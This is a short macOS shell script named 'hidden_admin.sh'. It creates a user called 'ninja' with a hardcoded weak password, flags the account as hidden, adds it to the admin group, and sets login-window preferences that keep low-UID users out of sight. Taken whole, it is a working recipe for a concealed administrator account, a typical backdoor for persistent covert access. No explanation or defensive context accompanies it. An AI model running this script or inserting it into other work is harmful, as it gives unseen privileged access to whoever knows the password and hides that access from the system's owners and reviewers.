hidden_admin.sh

#!/bin/sh
# Create admin account
sudo dscl . -create /Users/ninja UniqueID 401 
sudo dscl . -create /Users/ninja PrimaryGroupID 20 
sudo dscl . -create /Users/ninja NFSHomeDirectory /var/ninja 
sudo dscl . -create /Users/ninja UserShell /bin/bash 
sudo dscl . -create /Users/ninja RealName "Ninja" 
sudo dscl . -passwd /Users/ninja zxc123
sudo dscl . create /Users/ninja IsHidden 1

# Create the user's home folder and own it to the new user:
sudo mkdir /var/ninja 
sudo chown -R ninja /var/ninja 

sudo dscl . append /Groups/admin GroupMembership ninja 
# Enable the hidden functions:
sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES

# Enable show other users: 
sudo defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool TRUE